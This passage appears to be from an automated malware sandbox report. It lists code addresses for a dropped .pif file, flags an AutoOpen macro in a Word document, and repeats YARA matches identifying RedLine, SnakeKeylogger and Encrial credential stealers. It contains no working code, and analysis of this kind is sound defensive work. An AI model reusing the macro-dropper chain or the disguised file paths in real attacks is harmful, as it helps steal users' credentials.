              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255D004014_2_255D0040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255D780814_2_255D7808
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255D073814_2_255D0738
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255D0E3814_2_255D0E38
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DE54814_2_255DE548
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255D854014_2_255D8540
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DB57214_2_255DB572
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DE53C14_2_255DE53C
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DB9D814_2_255DB9D8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DB9C814_2_255DB9C8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DEDF814_2_255DEDF8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DEDE914_2_255DEDE9
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DE99114_2_255DE991
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DE9A014_2_255DE9A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DD84014_2_255DD840
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255D000614_2_255D0006
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DD83014_2_255DD830
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255D34F814_2_255D34F8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DE0F014_2_255DE0F0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DE0E114_2_255DE0E1
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DDC9814_2_255DDC98
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DDC8814_2_255DDC88
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255D708014_2_255D7080
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DFB0014_2_255DFB00
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DCB3814_2_255DCB38
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255D072A14_2_255D072A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DCB2A14_2_255DCB2A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DD3DA14_2_255DD3DA
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DD3E814_2_255DD3E8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DCF9014_2_255DCF90
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DCF8014_2_255DCF80
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DF25014_2_255DF250
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DF24014_2_255DF240
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DC27A14_2_255DC27A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DBE3014_2_255DBE30
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255D0E2914_2_255D0E29
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255D7A2814_2_255D7A28
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DBE2014_2_255DBE20
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DC6D014_2_255DC6D0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DFAF014_2_255DFAF0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DC6E014_2_255DC6E0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DF69A14_2_255DF69A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DC28814_2_255DC288
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255DF6A814_2_255DF6A8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 14_2_255E391814_2_255E3918
              Source: PI ITS15235.docOLE, VBA macro line: Sub AutoOpen()
              Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function AutoOpenName: AutoOpen
              Source: PI ITS15235.docOLE indicator, VBA macros: true
              Source: Joe Sandbox ViewDropped File: C:\Users\Public\Libraries\npratlsN.pif BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: String function: 0040D606 appears 72 times
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: String function: 0040E1D8 appears 129 times
              Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 028F44DC appears 74 times
              Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 028F4500 appears 34 times
              Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 0290889C appears 45 times
              Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 02908818 appears 56 times
              Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 028F4860 appears 943 times
              Source: C:\Windows\SysWOW64\brightness.exeCode function: String function: 028F46D4 appears 244 times
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: String function: 02888818 appears 50 times
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: String function: 02904860 appears 677 times
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: String function: 02918818 appears 50 times
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: String function: 028746D4 appears 155 times
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: String function: 029046D4 appears 155 times
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFCode function: String function: 02874860 appears 677 times
              Source: NETUTILS.dll.4.drStatic PE information: Number of sections : 19 > 10
              Source: 14.1.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 16.2.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 14.2.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 4.2.brightness.exe.219233d8.11.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 14.2.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 10.2.npratlsN.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 13.2.Nsltarpn.PIF.20fe67a8.4.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 16.2.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 10.2.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.1.npratlsN.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 4.2.brightness.exe.21890948.10.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
